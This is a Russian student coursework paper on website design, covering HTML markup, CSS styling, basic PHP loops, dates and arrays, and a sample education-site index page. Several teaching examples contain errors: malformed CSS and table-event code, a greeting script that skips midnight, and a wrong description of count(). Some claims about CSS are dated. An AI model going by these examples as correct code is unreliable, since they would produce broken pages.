Разработка дизайна сайта

Размещено на http://www.allbest.ru/

Введение

Интернет - мировая компьютерная сеть. Она составлена из разнообразных компьютерных сетей, объединенных стандартными соглашениями о способах обмена информацией и единой системой адресации. Интернет использует протоколы семейства TCP/IP. Они хороши тем, что обеспечивают относительно дешевую возможность надежно и быстро передавать информацию даже по не слишком надежным линиям связи, а также строить программное обеспечение, пригодное для работы на любой аппаратуре. Система адресации (URL-адреса) обеспечивает уникальными координатами каждый компьютер (точнее, практически каждый ресурс компьютера) и каждого пользователя Интернета, создавая возможность взять именно то, что нужно, и передать именно туда, куда нужно.

О существовании интернета знают все цивилизованные жители нашей планеты. Не слышали о нём разве что ленивые и пожилые люди из деревенской глубинки.

С каждым годом количество пользователей всемирной паутины неуклонно растёт. Интернет предоставляет массу возможностей своему клиенту.

Всю необходимую и интересующую вас информацию вы легко можете найти в сети. Будь-то географическая, юридическая, экономическая, строительная тематика. В интернете можно найти любую книгу. Существует масса разнообразных электронных библиотек, которые предоставляют возможность бесплатного скачивания книги в цифровом формате. Вам нужно написать курсовую, контрольную работу? - Не проблема, выходите в интернет и информационная база к вашим услугам. Всемирная паутина в современном мире - основной источник знаний. В интернете вы без проблем сможете скачать фильмы и игры бесплатно.

Сейчас многие институты и университеты поставили интернет себе на службу. Существуют различные виртуальные и дистанционные программы обучения. С помощью интернета осуществляется коммуникация между преподавателями и студентами. Через почту, к примеру, можно пересылать учебный материал, а также отправлять уже выполненные задания. Использование интернета в учебном процессе экономит время, деньги, физические затраты. За интернетом - будущее в обучении, ибо он позволяет играть в виртуальные игры разума. И неудивительно, что всё больше ВУЗов переходят на формы обучения, которые тесно связаны с интернетом.

Сегодня с помощью интернета можно зарабатывать деньги, не выходя из дома. Причём предложение и спрос на работу с каждым годом неуклонно растёт. Каждый пользователь, обладающий навыками и умениями в своей сфере, а также интеллектом, может найти работу себе по душе. Одна из самых распространённых профессий - это копирайтеры. Копирайтеры пишут уникальные статьи на заказ. Поэты, писатели, творческие люди, обладающие хорошими знаниями русского языка, могут найти применение своим навыкам и умениям. И это делает интернет демократичным, либеральным и открывает возможности, которых попросту может и не быть в реальном мире.

Возможности, которые предоставляет обществу интернет, воистину безграничны. В нём можно найти как научную информацию, так и различные игры для девочек, на любой вкус. Актуальность фразы "за интернетом будущее" носит вполне логичный характер, ведь технологии и информационные базы постоянно совершенствуются, а работа в сети - чрезвычайно удобна и экономит время и деньги.

Изначально единственной технологией, с помощью которой создавались сайты и веб-страницы, была технология html. Однако такие страницы и сайты выглядели бедно и не обладали интерактивностью, поэтому за короткое время, прошедшее от начала массового распространения интернета, появились и стали использоваться при создании сайтов многочисленные дополнительные технологии и языки.

Итак, классифицируем сайты по используемым технологиям:

Статические сайты и веб-страницы. Статические сайты и веб-страницы - это сайты, сделанные по классической технологии html. Веб-страницы таких сайтов написаны полностью на языке html и имеют расширение .htm или .html. Статическими они называются потому, что, набирая определённый адрес (URL), соответствующий сайту или его определённой странице, вы всегда будете видеть одно и то же содержание. Это потому, что статические html-страницы лежат на сервере в неизменном виде и по вашему запросу сервер просто берёт их и отправляет вам в браузер. С динамическими страницами, которые не существуют в заранее предопределённом виде на сервере, а формируются при помощи серверных скриптов, ситуация иная, и, набирая один и тот же адрес, вы, в зависимости от разных условий, можете получать совершенно разное содержание.

Статические сайты имеют свои как плюсы, так и минусы. Плюсы статических сайтов - это простота их создания и нетребовательность к аппаратным ресурсам. Статические сайты не требуют поддержки скриптов и баз данных и могут быть размещены на абсолютно любом хостинге, при этом они не будут создавать почти никакой нагрузки на сервер, и с ними не возникнет проблема, когда сайт тормозит или выдаёт различные сбои при большом притоке посетителей. Статические сайты могут включать в себя графику, анимацию и javascript, они прекрасно подходят для предоставления пользователям информации, которая не должна, по крайней мере, часто и существенно изменяться. Основным минусом статических сайтов является отсутствие интерактивности. Кроме того, в таких сайтах сложнее изменить информацию, внешний вид и дизайн страниц.

Динамические сайты и веб-страницы. Как уже было упомянуто, динамические страницы не существуют в неизменном виде на сервере, а формируются при помощи скриптов. Содержание и вид динамической страницы с одним и тем же адресом может быть совершенно различным в зависимости от разных условий - например, в зависимости от времени, от конкретного пользователя, от введённого пользователем запроса и т. п. Скрипты, которые используются для формирования динамических веб-страниц, могут быть написаны на разных языках. Распространёнными языками веб-программирования являются, например, php, perl, asp и т. д. Такие сайты могут предоставлять пользователям интерактивность - например, вводить разные запросы и осуществлять поиск по сайту, отправлять на сайт и сохранять свою собственную информацию и осуществлять общение с другими пользователями (как, например, в гостевых книгах, форумах и т. п.) и многие другие функциональные возможности. Кроме того, ведение и обновление этих сайтов гораздо проще. Минусы динамических сайтов в том, что они требуют поддержку дополнительных технологий, создают повышенную нагрузку на сервер, их сложнее оптимизировать, а ещё использование на сайте скриптов означает потенциальную угрозу для безопасности.

Флэш-сайты. Технология флэш (flash) позволяет создавать очень красивые, интерактивные, со звуком и анимацией, сайты, которые выглядят на порядок эффектнее, чем обычные html-сайты. Однако сложность и трудоёмкость их изготовления, а также то, что страницы, созданные на флэш, имеют, как правило, большой вес и долго загружаются, что отпугивает часть пользователей, приводит к тому, что флэш-сайты не получили пока слишком широкого распространения.

1. Средства создания WEB-страниц

1.1 HTML

Всемирная паутина соткана из WEB-страниц (WEB-pages), а эти страницы создаются при помощи языка разметки гипертекста (Hypertext Markup Language, HTML). Хотя многие, особенно новички, говорят сегодня о "Программировании на HTML", HTML - это язык разметки. Вы используете HTML для разметки текстового документа, точно так же, как это делает редактор при помощи жирного красного карандаша. Эти пометки служат для определения формата (или стиля), который будет использован при выводе текста на экран монитора.

Добавление заголовков и параграфов

Если вы пользовались Microsoft Word, вам должно быть хорошо знакомо использование стилей для выделения заголовков по степени важности. В HTML заголовки по степени важности делятся на шесть уровней. Н1 - самый важный, Н2 - чуть менее важен, и, наконец, Н6 - наименее значимый.

Пример того, как добавить важный заголовок:

<h1>Важный заголовок</h1>

Результат:

Важный заголовок

и чуть менее важный:

<h2>Чуть менее важный</h2>

Результат:

Чуть менее важный

Каждый параграф, который вы напишете должен начинаться тэгом <p> и заканчиваться тэгом </p> . Например:

<p>Это первый параграф.</p>

<p>А это второй параграф.</p>

Выделение курсивом

Вы можете выделить одно или больше слов, используя тэг <em>, пример:

Это действительно <em>интересный</em> пункт!

Результат:

Это действительно интересный пункт!

Изменение цвета и размера текста

Тэг FONT может быть использован для указания цвета и размера шрифта, которым будет выведен ваш текст. В этом примере устанавливается цвет:

В этом предложении есть <font color="red">слово</font> , выделенное желтым цветом.

Результат:

В этом предложении есть слово выделенное желтым цветом.

Атрибут size служит для указания размера шрифта в условных единицах от 1 до 7. Принято считать, что размер "нормального" шрифта соответствует числу 3. Размер может быть указан как абсолютной величиной (SIZE=5), так и относительной (SIZE=+2):

Советы <font size="+2" color="maroon">ветеринарного</font> врача

Результат:

Советы ветеринарного врача

Вставка рисунков

Использование рисунков делает ваши страницы более интересными. Вставить рисунок позволяет тэг <img>. Предположим, что файл рисунка "peter.jpeg", шириной 200 пикселов и высотой 150, лежит в той же папке что и HTML файл.

<img src="peter.jpeg" width="200" height="150"><BR>

Указание ширины и высоты не является строго необходимым, но увеличивает скорость загрузки вашей WEB-страницы. Следует задать описание картинки для людей, у которых отключена загрузка изображений. Вы можете добавить краткое описание, используя атрибут alt:

<img src="peter.jpeg" width="200" height="150" alt="Мой друг Петя">

В WWW используется два формата графических файлов GIF и JPEG. Формат GIF используется, когда требуется прозрачное изображение или анимация, а также для:

· черно-белых рисунков и текста

· изображений с ограниченным количеством цветов

· графики с резкими контурами (меню, кнопки, диаграммы и т.п.)

· изображений с текстом

Формат JPEG больше подходит в следующих случаях:

· сканированные изображения

· графика со сложным сочетанием цветов и оттенков

· любое изображение с палитрой более чем 256 цветов

Создание ссылок на другие страницы

Ссылки обозначаются тэгом <a>. Определим ссылку на страницу определенную в файле "advanced.htm":

Это ссылка на <a href="advanced.htm">Продвинутый HTML</a>.

Результат:

Это ссылка на Продвинутый HTML.

Текст между <a> и </a> используется как описание ссылки, обозначается обычно синим цветом, и подчеркивается линией.

Для ссылки на другую Web-страницу нужно указать ее полный Web-адрес (называемый URL), например, для ссылки на http://www.xserver.ru/ необходимо набрать следующий текст:

Это ссылка на <a href="http://www.xserver.ru/">www.xserver.ru</a>.

Вы можете использовать в ссылке картинку. Следующий пример позволяет кликаньем на логотипе компании перейти на ее домашнюю страницу:

<a href="/"><img src="logo.gif" alt="home page"></a>

Списки

HTML предлагает три вида списков. Первый вид называется маркированным (неупорядоченным) списком. Маркированный список открывается тэгом <ul>, а каждый его пункт начинается стандартным тэгом <li>, пример:

<ul>

<li>первый пункт списка</li>

<li>второй пункт списка</li>

<li>третий пункт списка</li>

</ul>

Результат:

· первый пункт списка

· второй пункт списка

· третий пункт списка

Второй вид - нумерованный (упорядоченный) список. Он использует тэги <ol> и <li>. Пример:

<ol>

<li>первый пункт списка</li>

<li>второй пункт списка</li>

<li>третий пункт списка</li>

</ol>

Результат:

1.первый пункт списка

2.второй пункт списка

3.третий пункт списка

И последний - это список определений (глоссарий). Он представляет текст в форме словарной статьи, состоящей из определяемого термина и абзаца, раскрывающего его значение, открывается тэгом <dl>. Каждый термин открывается тэгом <dt>, а определение тэгом <dd>. Пример:

<dl>

<dt>первый термин</dt>

<dd>его определение</dd>

<dt>второй термин</dt>

<dd>его определение</dd>

<dt>третий термин</dt>

<dd>его определение</dd>

</dl>

Результат:

первый термин

его определение

второй термин

его определение

третий термин

его определение

Списки могут быть вложенными, один в другой. Пример:

<ol>

<li>первый пункт списка</li>

<li>второй пункт списка

<ul>

<li>первый пункт вложенного списка</li>

<li>второй пункт вложенного списка</li>

</ul>

</li>

<li>третий пункт списка</li>

</ol>

Результат:

1.первый пункт списка

2.второй пункт списка

· первый пункт вложенного списка

· второй пункт вложенного списка

3.третий пункт списка

Определение цветов в HTML

В HTML цвета определяются цифрами в шестнадцатиричном коде. Цветовая система базируется на трех основных цветах - красном, зеленом и синем. Для каждого цвета задается значение от 00 до FF. Затем эти значения объединяются в одно число, перед которым ставится символ #.

1.2 CSS

Так уж создан человек, что он всегда стремится к чему-нибудь оригинальному. Изначально броузеры показывали все ссылки подчёркнутыми для большего удобства. Сразу же у создателей web-страничек возник вопрос, как же сконструировать не подчёркнутую ссылку. Аналогичная история произошла и со шрифтами: в настройках броузера можно установить размер шрифта. Так нет же - в web-дизайне сразу появилась задача: как запретить пользователю менять размеры шрифтов. Другими словами, на протяжении всего времени существования Интернета идёт непримиримая война между производителями броузеров и производителями сайтов

Фиксирование шрифтов на странице с помощью таблицы стилей.

Вы создали достаточно симпатичную страничку с малым количеством графических элементов, текст у Вас расположен в таблице в две колонки. Вы некоторое время любуетесь вашим творением, но тут приходит Ваш приятель и погружает Вас в глубокое уныние, поставив в настройках броузера более крупный шрифт. Вы видите, что страница приняла вид весьма далёкий от того, что было задумано изначально. Что же делать? Самый простой способ решения подобной задачи заключается в составлении таблицы стилей для Вашего сайта. Эти таблицы относятся к каскадным таблицам стилей (Cascading Style Sheets - CSS). Это означает, что при определении стиля какого-нибудь элемента все элементы, находящиеся внутри него, наследуют этот стиль.

Приведём простейший пример таблицы стилей:

<style>

body

.text1 {text-decoration: none; font-family: arial, font-size: 10pt; font-weight : bold; color: red}

.text2 {font-family: sans-serif; font-size: 14pt; color: black;}

</style>

Обращение к элементам таблицы:

<div class=text1>Стиль text1</div> - в этом случае фраза 'Стиль text1' будет напечатана красным жирным шрифтом Arial размером 10 pt.

Если же эту фразу сделать ещё и ссылкой, то она не будет подчёркнутой, так как text-decoration: none:

<a href=# class=text1>Стиль text1</a>

Аналогично

<div class=text2>Стиль text2</div> - в этом случае фраза 'Стиль text2' будет напечатана чёрным шрифтом Sans-serif размером 14 pt.

Можно не составлять таблицу стилей отдельно, а задать стиль непосредственно в теге. Так, например, чтобы создать неподчёркнутую ссылку, необходимо её реализовать в таком виде:

<a href=# style=' text-decoration: none;'>Неподчёркнутая ссылка</a>

Неподчёркнутая ссылка

Преимуществом реализации таких способов задания стилей является то, что всё рассказанное выше работает как в Internet Explorer , так и в Netscape Navigator. При этом даже если Вы поменяете настройки любого из этих броузеров с целью увеличения или уменьшения размера шрифтов, то Вы увидите, что они не изменяются, - использование стилей не позволяет броузеру менять размеры шрифтов. Это является большим достижением CSS, так как теперь у большинства пользователей страница будет отображаться именно так, как Вы и ожидаете этого. Правда, применение CSS вовсе не спасает от изменения размеров системных шрифтов Widows, но у большинства людей шрифт Normal. Если же пользователь ставит крупный шрифт, то он увидит немалое количество Интернет-страниц в неадекватном виде.

Подсветка ссылки

Для того, чтобы подсветить ссылку при наведении на неё курсора мышки, необходимо задать такую таблицу стилей:

<STYLE TYPE="text/css">

<!--

a:hover {color: red; mso-bidi-font-size:12pt}

-->

</STYLE>

В этом случае все ссылки на странице при наведении на них курсора мышки будут подсвечиваться красным цветом и перезаписываться шрифтом размером в 12 pt.

Для того, чтобы с одной из ссылок этого не происходило, необходимо задать для неё принудительно шрифт с помощью тега <font> внутри ссылки, например:

<a href=#><font color=blue>Неподсвеченная ссылка</font></a>

Для того, чтобы одна группа ссылок подсвечивалась одним цветом, другая другим, необходимо несколько иначе написать таблицу стилей:

<style>

body a:Hover {color : red}

.group1 {text-decoration: none; font-family: arial; font-size: 8pt; color: black}

a:hover.group1 {text-decoration: none; font-family: arial, font-size: 8pt; color: blue}

.group2 {font-family: arial, font-size: 10pt; color: green}

a:hover.group2 {font-family: arial, font-size: 10pt; color: gray}

</style>

В этом случае ссылки, для которых указан класс group1, будут отображаться неподчёркнутыми, чёрным цветом, шрифтом Arial размером 8 pt. При наведении мышки они станут подчёркнутыми и перекрасятся в синий цвет.

Ссылки, для которых указан класс group2, будут подчёркнутыми и отображаться шрифтом размера 10pt зелёным цветом. При наведении мышки они станут серыми.

Изменение фона в таблице.

С помощью стилей можно творить даже такие чудеса, как изменение цвета фона таблицы.

Для этого необходимо написать небольшой обработчик соответствующего события, например, попадание курсора мышки в область таблицы:

При наведении курсора мышки на таблицу она поменяет цвет.

<table id=table onMouseover="table.bgColor='red'" onMouseOut="table.bgColor='white'" bgcolor=white border=1><tr><td>

При наведении курсора мышки на таблицу она поменяет цвет.

</td></tr></table>

При наведении мышки на область таблицы она изменит цвет с белого на красный. Соответственно, когда курсор мышки вновь покинет эту область, она вновь станет белой.

Аналогичным образом можно менять не только цвет, но и фоновый рисунок таблицы.

А вот ещё небольщой пример, который демонстрирует, как можно с помощью CSS динамически обвести таблицу контуром:

При наведении курсора мышки на таблицу она очертится контуром

При наведении курсора мышки на таблицу она очертится контуром

<table id=tabl1e onMouseover="table1.border='2" onMouseOut="table1.border=0'" border=0><tr><td>

<a href=#>При наведении курсора мышки на таблицу она очертится контуром;/a>

</td></tr></table>

Как Вы можете заметить, CSS даёт достаточно немалые возможности создания динамической страницы для последующего отображения в Internet Explorer. Для Netscape Navigator, чтобы реализовать что-то подобное, требуется либо использовать графические элементы, либо слои. Однако фиксация шрифтов работает и для того и для другого броузера так же, как и реализация неподчёркнутых ссылок, а это уже даёт неплохое поле для деятельности.

1.3 РНР

РНР -- это мощный кроссплатформенный набор средств, который располагается на сервере и предназначен для обработки специального кода, встраиваемого в HTML-страницу. Благодаря этому, появляется возможность легко создавать динамические сайты. Файлы, созданные таким образом, хранятся и обрабатываются на сервере, и когда посетитель запрашивает документ с РНР, скрипт обрабатывается не браузером посетителя, как, например, Java Script, а сервером, и посетителю передаются уже только результаты работы. Точно так же работает CGI-программа, написанная на С или Perl. Но, в отличие от CGI, код РНР можно встраивать в любое место HTML-странички, что является основным преимуществом по отношению к CGI. А кроме того, сам язык РНР очень прост для изучения и не требует каких-либо специфических знаний.

1.3.1 Циклы в РНР

Циклы в программировании - это повторяющиеся несколько раз операции. Начало (точка отсчета) указывается в начале цикла, а длительность его выполнения ограничивается каким-либо условием. Примером цикла может служить копирование нескольких файлов. Алгоритм выполнения этого задания можно описать так: установить счетчик скопированных файлов в ноль, скопировать файл, проверить, закончились файлы или нет, если нет - увеличить счетчик скопированных файлов, вернуться к началу цикла (опять скопировать файл), если да - закончить цикл. Теперь рассмотрим, как циклы реализуются в синтаксисе РНР.

<?php

$i = 0; $n = 10;

while ($i <= $n):

echo $i."<br>\n";

$i++;

endwhile;

?>

Смысл скрипта очень прост. Присваиваем переменной $i значение, соответствующее началу цикла, а переменной $n - значение конца цикла. Далее открываем цикл оператором WHILE ( ), и внутри его скобок описываем условие, при выполнении которого цикл будет продолжать свою работу. В нашем случае выполнение не прервется, пока $i <= $n. Как только это условие будет нарушено, управление будет передано следующей за циклом операции РНР. Внутри цикла могут быть любые команды РНР (разделенные между собой, как обычно, точкой с запятой). Только нужно следить за тем, чтобы переменная $i, используемая в цикле, была увеличена (и совсем не обязательно на единицу), иначе цикл станет бесконечным, и интерпретатор РНР будет выполнять его, пока не закроется сессия (окно браузера). Оператор ENDWHILE означает конец цикла. Скрипт, описанный здесь, выводит на экран браузера цифры, начиная с 0 до 10. Причем цифры будут выведены в столбик, так как после вывода на экран значения переменной $i мы выводим HTML-тег перевода строки (<br>). После него идет перевод строки для кода, переданного клиенту (его можно посмотреть, выбрав просмотр в виде HTML в меню Вашего браузера). Это не обязательно, но таким образом достигается удобочитаемость кода. Для примера я привожу еще один вариант выполнения указанной выше задачи, но уже гораздо более правильно с точки зрения чистоты кода и скорости выполнения.

<?php

$i = 0; while ($i <= 10) { echo $i++."<br>"; }

?>

Удивительно, но эти два примера абсолютно идентичны в смысле результата. Но сам скрипт уместился в одну строчку! Разница - в стиле применения оператора цикла и в том, что переменная цикла выводится на экран одновременно с увеличением. И в этом - вся прелесть программирования. Иногда бывает что-то простое сделать очень трудно, а сложное - легко. Никогда не стоит останавливаться на уже достигнутом, а пробовать применять другие алгоритмы и решения. Вот Вам еще один вариант решения. Он основан на применении конструкции РНР DO:WHILE. Это тоже цикл, но отличается он от просто WHILE тем, что значение логического выражения проверяется не до (как в случае с WHILE), а после окончания работы операторов, включенных в сам цикл. Таким образом, DO:WHILE гарантированно будет выполнен хотя бы один раз, что в случае с WHILE совсем не обязательно. Ведь если условие есть ложь, управление сразу будет передано дальше.

Для циклов DO..WHILE существует только один вид синтаксиса:

<?php

$i = 0; do { echo $i."<br>\n"; $i++; } while ($i <=10);

?>

Циклы FOR - наиболее мощные циклы в PHP. Они работают подобно их аналогам в языке программирования C. Синтаксис цикла FOR:

FOR (expr1; expr2; expr3) statement

Первое выражение (expr1), безусловно, вычисляется (выполняется) в начале цикла. В начале каждой итерации (проход цикла) вычисляется expr2. Если оно равно TRUE (истина), то цикл продолжается и выполняются вложенный(е) оператор(ы). Если оно равно FALSE (ложь), то цикл заканчивается. В конце каждой итерации вычисляется (исполняется) expr3. Каждое из этих выражений может быть пустым. Если expr2 пусто, то цикл продолжается бесконечно (PHP по умолчанию считает его равным TRUE, как и в языке С). Это не так бесполезно, как могло бы показаться, так как зачастую требуется закончить выполнение цикла, используя оператор BREAK в сочетании с логическим условием, вместо использования логического выражения в FOR. Если внутри цикла (любого) встречается этот оператор (BREAK), цикл прекращает выполнение итерации и управление передается следующей за циклом команде. Если встречается оператор CONTINUE - управление передается на начало следующего ближайшего цикла. Для примера посмотрим, как можно еще реализовать вывод на экран пользователя список чисел. Не забывайте про переход из HTML в PHP.

/* пример 1 */

for ($i = 1; $i <= 10; $i++)

{ print $i; }

/* пример 2 */

for ($i = 1;;$i++)

{ if ($i > 10) { break; } print $i; }

/* пример 3 */

$i = 1; for (;;)

{ if ($i > 10) { break; } print $i; $i++; }

/* пример 4 */

for ($i = 1; $i <= 10; print $i, $i++) ;

1.3.2 Времена и даты

В РНР наиболее часто используется функция DATE в формате $date=date('параметр');. Параметров может быть несколько, и разделяются они между собой запятой. Вот список допустимых параметров.

· a - "am" или "pm"

· A - "AM" или "PM"

· d - день месяца, цифровой, 2 цифры (на первом месте ноль)

· D - день недели, текстовый, 3 буквы; т.е. "Fri"

· F - месяц, текстовый, длинный; т.е. "January"

· h - час, цифровой, 12-часовой формат

· H - час, цифровой, 24-часовой формат

· i - минуты, цифровой

· j - день месяца, цифровой, без начальных нулей

· l (строчная 'L') - день недели, текстовый, длинный; т.е. "Friday"

· m - месяц, цифровой

· M - месяц, текстовый, 3 буквы; т.е. "Jan"

· s - секунды, цифровой

· S - английский порядковый суффикс, текстовый, 2 символа; т.е. "th", "nd"

· U - секунды с начала века

· Y - год, цифровой, 4 цифры

· w - день недели, цифровой, 0 означает воскресенье

· y - год, цифровой, 2 цифры

· z - день года, цифровой; т.е. "299"

Обратите внимание на отличия в регистре. Каждый символ в разных регистрах имеет разные функции. Один из самых распространенных вариантов - вывод текущего времени и даты. Конечно, все это делается без проблем на JavaScript, но кто видел эти скрипты, тот поймет разницу (по крайней мере, в размере и скорости выполнения, не говоря уже о трафике от сервера к браузеру). Ну, время, на мой взгляд, выводить бесполезно, так как оно есть у каждого пользователя в трее Windows-а, а вот вывести число, месяц и день недели (да еще на русском языке) бывает полезно. Начнем с приветствия посетителю. Было бы неплохо вывести соответствующую фразу в зависимости от времени посещения:

<?php

$h=date('H');

if ($h>=5 && $h<=11) echo "Доброе утро!";

if ($h>=12 && $h<=18) echo "Здравствуйте!";

if ($h>=19 && $h<=24) echo "Добрый вечер!";

if ($h>=1 && $h<=4) echo "Доброй ночи!";

?>

Цифры желаемого времени можно проставить любые, в зависимости от личного понятия дня и ночи. Следующий шаг - вывод числа, дня недели и имени месяца.

1.3.3 Массивы в РНР

Массив - это ряд переменных, упорядоченных по имени и имеющих различный индекс. Для примера представьте, что у Вас есть двадцать названий, и все их нужно внести в программу. Можно для удобства обозвать переменные одинаковым именем и ставить в конце каждого имени переменной число в соответствии с номером названия. У Вас получится простейший одномерный массив. Только любой язык программирования (и РНР тоже!) предоставляет набор средств для более детальной и удобной работы с таким набором-массивом. И число (так называемый индекс) нужно заключать в квадратные скобки. Допустим, есть ряд строковых переменных: компьютер, Интернет, модем, монитор. Имя для массива выберем $m, хотя доступно любое, как и у обычной переменной. Индекс в массивах начинается не с единицы, а с нуля, и таким образом для внесения наших слов в массив надо сделать так:

$m[0] = "компьютер";

$m[1] = "Интернет";

$m[2] = "модем";

$m[3] = "монитор";

Теперь у нас создан массив с именем $m и максимальным индексом (это количество элементов в массиве) - 4. Именно 4, хотя последний заполненный элемент - 3. Если мы попробуем считать элемент с 4-ым индексом, результат будет равен пустой строке, так как там просто ничего нет. Обращаться к элементам массива нужно по имени массива и его индексу, что и составляет основное удобство. Например, вывести на экран все элементы массива:

$i = 0; while ($i < count($m)) { echo $m[$i]."<br>"; $i++; }

Функция count($m) выдает нам число, соответствующее максимальному индексу массива. Таким образом, у нас всегда есть возможность знать, сколько элементов присутствует в данном массиве. Что еще можно узнать о массивах в РНР? Кое-что можно: Например, функция current возвращает текущий элемент массива. Каждая переменная-массив имеет внутренний указатель (это не индекс, а специальный параметр, который, как правило, либо совпадает с индексом, либо превышает его на единицу, но необязательно), который указывает на один из своих элементов. Кроме того, все элементы в массиве связываются двунаправленным списком указателей для дополнительных целей. Внутренний указатель указывает на первый элемент, который включался в массив, пока Вы не выполняли одну из функций, которые модифицируют этот указатель в этом массиве. Функция current() просто возвращает элемент массива, на который в данный момент указывает внутренний указатель. Она никак не перемещает указатель. Если внутренний указатель указывает на конец списка элементов, current() возвращает false (ложно). Внимание: если массив содержит пустые элементы (0 или "", пустую строку), то функция возвратит "false" для каждого из них. Это показывает, что текущий элемент является нулевым значением или вы дошли до конца массива. End - устанавливаете внутренний указатель массива на последнем элементе. Next - передвигает внутренний указатель массива. Возвращает следующий элемент массива, от текущей позиции внутреннего указателя массива, или "ложь"(false), если нет больше элементов. Если массив содержит пустые элементы, тогда эта функция возвратит "ложь" (false) и для этих элементов. next() ведет себя подобно current(), с одной лишь разницей: он передвигает внутренний указатель массива на один элемент вперед прежде, чем возвратить элемент. Это означает, что он возвращает значение следующего элемента и передвигает на него внутренний указатель массива. Если при обращении к следующему элементу обнаружен конец массива - next() возвращает "ложь" (false). Prev - перемещает внутренний указатель массива. Возвращает предыдущий элемент массива, или "ложь" (false), если перед текущим нет больше элементов. Если массив содержит пустые элементы, то функция возвратит "ложь" и на этих элементах. prev() ведет себя подобно next(), за исключением того, что он переводит внутренний указатель массива на одну позицию назад, а не вперед. Reset () - устанавливает внутренний указатель массива на первом элементе. Rsort () - сортирует массив в обратном порядке (по убыванию), по алфавиту в том числе. К сожалению, русский алфавит тут не при чем. Sort () - сортирует массив. Точно то же, что и предыдущее, только по возрастанию. Конечно, это далеко не все функции, которые есть в РНР относительно массивов. Но остальное часто очень специфично и решается иногда более простыми методами.

1.3.4 Дата по-русски

Скрипт, позволяет вывести на экран посетителя дату в формате русского языка. Текст скрипта:

<?php

//-- определяем массив для месяцев --

$q[]="";

$q[]="января";

$q[]="февраля";

$q[]="марта";

$q[]="апреля";

$q[]="мая";

$q[]="июня";

$q[]="июля";

$q[]="августа";

$q[]="сентября";

$q[]="октября";

$q[]="ноября";

$q[]="декабря";

//-- определяем массив для дней недели --

$e[0]="воскресенье";

$e[1]="понедельник";

$e[2]="вторник";

$e[3]="среда";

$e[4]="четверг";

$e[5]="пятница";

$e[6]="суббота";

// ---- считываем месяц

$m=date('m');

if ($m=="01") $m=1;

if ($m=="02") $m=2;

if ($m=="03") $m=3;

if ($m=="04") $m=4;

if ($m=="05") $m=5;

if ($m=="06") $m=6;

if ($m=="07") $m=7;

if ($m=="08") $m=8;

if ($m=="09") $m=9;

// ---- считываем день недели

$we=date('w');

// ---- считываем число

$chislo=date('d');

// - извлекаем день недели

$den_nedeli = $e[$we];

// - извлекаем значение месяца

$mesyac = $q[$m];

echo "Сегодня ".$chislo." ".$mesyac.", ".$den_nedeli;

?>

Сначала определим два массива, в которых будут храниться соответственно русское название месяца и русское название дня недели. Так как месяц не может быть нулевым, нам нужно позаботиться о вводе элемента массива с нулевым индексом. Если индекс массива не указан, он принимается равным внутреннему указателю. Если массив пуст и еще не определен, внутренний указатель указывает на первый элемент (имеющий индекс ноль). Ввод нового элемента массива перемещает внутренний указатель на единицу вверх, и, таким образом, обеспечивается последующий ввод значения массива в ячейку массива, имеющую индекс на единицу больший, чем предыдущий. В принципе, можно обеспечить ввод данных в массив разными способами. Но указанный здесь - самый простой и примитивный. Присваиваем поочередно нужные нам данные элементам массива и, таким образом, заполняем его. Точно такая же история наблюдается и со вторым массивом. Только тут уже индекс нужных ячеек массива указывается явно, и внутренний указатель устанавливается на тот индекс, который указан, а после ввода значения перемещается вверх на единицу. Разница между этими двумя методами в том, что если массив уже был определен ранее и индекс при вводе не указан, заполнится ячейка массива, на которую указывает внутренний указатель. А он ведь может находиться и в конце! А если индекс указан явно, внутренний указатель устанавливается на его значение и запись происходит в явно указанную ячейку. Собственно, чаще массивы бывают гораздо длиннее приведенных в примере, и удобнее воспользоваться специальной функцией, которая позволяет считать указанный в ней файл и ввести все, что есть в этом файле, в массив. Причем разделителем считается перевод строки, что очень удобно. Синтаксис этой функции - $имя массива = file ("имя файла");. Дальше формируется массив с указанным именем и значениями, соответствующими строкам файла.

Когда массивы определены, нам нужно считать номер месяца. Он считывается с ведущим нулем, если номер месяца менее десяти, и поэтому нам нужно позаботиться об его отсечении. Тут можно применить тоже разные алгоритмы и методы, но мы воспользуемся лобовым решением - просто сравним полученное решение с рядом заранее известных вариантов и изменим номер месяца на правильный без нуля. Решение грубое, зато понятное и уже знакомое нам. Хотя так делать не правильно - есть более изящные методы, например, проверить полученное значение на ведущий ноль, и если проверка есть истина (самый первый символ в строке - ноль), удалить первый символ.

Далее по ходу скрипта мы считываем день недели и число. С числом делать ничего не нужно, так как дата будет понятна всем, а вот день недели и месяц должны подвергнуться обработке. Извлекаем из введенного нами ранее массива день недели. Номер дня недели указывает на ячейку нашего массива, где хранится нужное русское имя, и таким образом мы в любом случае получим правильное значение. Меняется номер дня недели, меняется номер (индекс) ячейки, из которой считывается значение. Причем тут, в отличие от массива с именем месяца, нулю соответствует воскресенье, что мы и учли при вводе массива дней недели. Точно такую же операцию проводим и для месяца. Его номер указывает на ячейку массива, где хранится правильное имя месяца на русском языке. А дальше - выводим результат на экран в произвольной форме.

2. Институт

2.1 Index.html

рис 1. Дизайн сайта.

Далее представлен код HTML-файла:

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />

<title>Education website</title>

<meta name="description" content="Education website">

<meta name="keywords" content="education, learning, teaching">

<link href="css/style.css" rel="stylesheet" type="text/css">

<? include ("connect.php");?>

</head>

<body>

<? include ("header.php");?>

<? include ("left.php");?>

<td><h1>Bosh saxifaga xush kelibsiz !</h1></td>

</tr>

<tr>

<td>

<table width="100%" border="0" cellpadding="0" cellspacing="0">

<tr align="center">

<td width="100%" height="1" align="center"><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td><img src="images/spacer.gif" width="13" height="1"></td>

<td width="100%" bgcolor="#1A658C"><img src="images/spacer.gif" width="1" height="4"></td>

<td><img src="images/spacer.gif" width="5" height="1"></td>

</tr>

</table></td>

</tr>

<tr>

<td valign="top" class="body_txt"><p>Education is the process by which an individual is encouraged and enabled to fully develop his or her potential; it may also serve the purpose of equipping the individual with what is necessary to be a productive member of society. Through teaching and learning the individual acquires and develops knowledge and skills.</p>

<p>The term education is often used to refer to formal education (see below). However, the word's broader meaning covers a range of experiences, from formal learning to the building of understanding and knowledge through day to day experiences. Ultimately, all that we experience serves as a form of education.</p>

<p>It is widely accepted that the process of education is lifelong. Studies have shown that the child already in uetero is educated by the experiences it is exposed to.</p>

<p> accepted that the process of education is lifelong. Studies have shown that the child already in uetero is educated by the experiences it is exposed to.</p>

<p><em>From Wikipedia, the free encyclopedia</em></p></td>

<? include ("footer.php");?>

</body>

</html>

